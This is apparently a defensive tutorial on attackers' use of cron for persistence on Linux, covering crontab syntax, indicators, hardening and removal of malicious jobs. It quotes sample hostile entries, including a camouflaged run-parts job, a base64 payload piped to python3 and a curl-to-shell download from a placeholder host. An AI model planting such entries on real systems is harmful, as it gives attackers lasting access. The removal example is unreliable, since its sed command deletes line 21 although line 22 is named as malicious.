Introduction to Cron Persistence
A very common tactic for persistence is to use the cron daemon. Cron is a service found on Linux and Unix-like operating systems that enables the users of a system to schedule arbitrary tasks to run in the future.
This technique is mapped in the MITRE ATT&CK framework as T1053.003.
Cron is an attractive choice for attackers and malware to use as persistence because it is almost always installed and active for all users of a system. If an attacker compromises a user or service account, chances are they can install cron jobs as that user.
Cron is a system consisting of crond (the service/daemon process), crontab (the editor of configuration files), and a series of files containing cron jobs (a job is an individual task scheduled to run at a specified interval).
There are several implementations of cron (anacron, Vixie cron, fcron, …) that may or may not have certain features or macros available within the configuration files. The configuration file locations may also change depending on distribution and implementation.
There is typically a system-wide file located at /etc/crontab. The
syntax for this file is the same as crontab files belonging to a user,
with the addition of being able to specify the user that a cron job
runs as.
There are also several .d folders that may contain jobs:
- /etc/cron.d/
- /etc/cron.daily/
- /etc/cron.hourly
- /etc/cron.weekly/
- /etc/cron.monthly/
- /etc/cron.yearly/
These directories may contain one or more cron job configurations in each file. The locations and availability of these directories may vary based on operating system, distribution, and cron implementation.
Attackers often use camouflauging and obfuscation techniques to make their malicious cron jobs appear as if they were legitimate components of a system. As such, it is helpful to know the syntax of crontab files and what “normal” looks like for them.
Below is an example of what a crontab file looks like, taken from /etc/crontab on a Ubuntu system. This configuration file contains a comment header explaining the syntax of crontab files:
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
A malicious actor may add a malicious entry to the above file like so
to blend in, adding their malicious payloads to a new file they create
at/etc/cron.decadely:
34 6 * * * root test -x /usr/sbin/acacron || { cd / && run-parts --report /etc/cron.decadely; }
Malicious jobs
Some clues that may indicate that a job is malicious:
-
The crontab configuration file was modified within the timeline of an incident.
-
Large, obfuscated commands, often base64 encoded.
8 * * * * echo bG9sb...TRUNCATED...2xvbAo= | python3
-
Jobs that pipe output of a command through a shell or scripting language interpreter (ex:
curl maliciousurl/bad.sh | sh). -
Jobs that utilize file transfer tools such as curl, wget, rsync, ftp, scp, etc.
-
Files in .d directories with non-uniform permissions, or overly-permissive (someone chmod 777’d it…).
-
Hidden files in .d directories (use
findorls -ain the system’s cron configuration directories to find these). -
Immutable or append-only crontab files (lsattr).
-
Strange symbolic links within cron configuration directories (ls -l).
-
Jobs running at odd or excessive intervals such as every minute, or days that don’t exist (February 31st).
* * * * * some_malicious_command
1 2 31 2 * some_malicious_command
Defense
Here are some of my recommendations for detecting attacks against cron and for system hardening:
-
Disable the cron daemon or even consider uninstalling it if you don’t need it. This is rarely going to apply to systems meant to be running long-term due to maintenance tasks (disk cleanup, log rotation, backup processes, …), but for short-lived or ephemeral systems, removing cron altogether may be something worth considering.
-
Monitor file integrity and changes applied to crontab files (AIDE, Tripwire, …).
-
Monitor the usage of the “crontab” command and commands that are not crond or crontab accessing crontab files (auditd).
Generally speaking, the only programs that should be reading or writing cron’s configuration files are the
crontabandcrondprograms. Thecrontabfile should be monitored for execution, as it is capable of both editing and viewing cron configurations.Any spurious access to these files using tools like cat, vi, less, … are strong indicators of either an attacker is active on the system, or system administration activities being carried out.
There may be certain tools, scripts, etc that access cron’s configuration files in certain situations such as configuration management or monitoring software, but these can be discovered through log analysis and either tuned out from alerting or refactored.
-
Utilize cron.allow and cron.deny configuration files to deny users such as “www” or “http” from using cron. These files contain a list of the usernames, one per line, that the administrator wants to allow or deny respectively. This feature may not be available on all cron implementations.
Attackers often leverage remote code execution vulnerabilities within web applications, which yields them a shell as the user responsible for running the web server (www, www-data, httpd, …). To ensure that their access is maintained or their malware continues to run, they may add a cron job to periodically run their malware, make a callback to their command and control systems, etc.
If the user for public-facing network software doesn’t need to use cron (they almost never need to use cron), it is a good idea to deny them from being able to use cron.
-
Monitor syslog messages related to cron and system user’s email spools. The output from commands executed via a cron job are often emailed to the user who owns the job.
It is a good idea to collect syslog messages from all of an environment’s systems centrally. This allows events of all of your system to be searched and correlated should an event occur.
Here is some example syslog data of the root user adding a cron entry that runs the “id” command:
Nov 10 11:57:20 rattlesnake crontab[641257]: (root) BEGIN EDIT (root)
Nov 10 11:57:39 rattlesnake crontab[641257]: (root) REPLACE (root)
Nov 10 11:57:39 rattlesnake crontab[641257]: (root) END EDIT (root)
Nov 10 11:58:01 rattlesnake CRON[641333]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Nov 10 11:58:01 rattlesnake CRON[641334]: (root) CMD (id)
Nov 10 11:58:01 rattlesnake CRON[641333]: pam_unix(cron:session): session closed for user root
Removing Malicious Jobs and Active Response
Say you discover a malicious cron job. Chances are, you will want to remove it. This can be done a few different ways:
-
Using
crontab -e -u USERThis opens up an interactive editor to modify the specified user’s configuration file.
-
Using an editor
Use vi, nano, Emacs, or whatever you want to use to edit the files directly. Simply remove the offending lines and save the file.
These files will typically be in
/etc/cron*or/var/spool/cron*/. -
Using the cat and sed method:
First, use cat with the -n flag to show line numbers:
cat -n /etc/crontabThis should output something like so:
1 # /etc/crontab: system-wide crontab 2 # Unlike any other crontab you don't have to run the `crontab' 3 # command to install the new version when you edit this file 4 # and files in /etc/cron.d. These files also have username fields, 5 # that none of the other crontabs do. 6 7 SHELL=/bin/sh 8 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 9 10 # Example of job definition: 11 # .---------------- minute (0 - 59) 12 # | .------------- hour (0 - 23) 13 # | | .---------- day of month (1 - 31) 14 # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... 15 # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat 16 # | | | | | 17 # * * * * * user-name command to be executed 18 17 * * * * root cd / && run-parts --report /etc/cron.hourly 19 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 20 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 21 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } 22 35 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.decadely; } 23 #In the example above, line 22 is malicious and needs to be removed. Do this with
sed '<LINE_NUMBER>d /etc/crontab:sed '21d' /etc/crontab⚠️WARNING⚠️: when using this method and deleting more than one line, always start with the highest numbered lines first. If you delete a lower numbered line, it will shift the positions of the lines beneath it. If you don’t account for this change, you will inadvertently delete valid entries. Consider making a backup of the file when using this method.
The contents of the malicious entry often leave clues that reveal what the malware is, or the attacker’s infrastructure. An example would be a malicious job reaching out to an attacker’s domain. This can be searched within an environment’s logs if available, potentially revealing additional systems that have been infected. Searching for the domain online may also give detailed analysis of the threat actor involved and/or the malware itself, which can greatly speed up the process of resolving an incident. These malicious indicators, if present, may be sinkholed, monitored, or blocked at the perimeter to shut down or disrupt the attacker’s access.
Conclusion
Defenders, systems engineers, and users of systems that use cron (Linux, macOS, BSD, Solaris, and other Unix-like operating systems) should be aware of the cron system and how it can be abused by an attacker or malware.
A defender should routinely review cron configurations, detect modifications to cron-related files, and have the baseline ability to be able to add and remove malicious jobs.
Offensive practitioners should know how the cron system works and how they may be able to blend in with other valid jobs to avoid or prolong detection.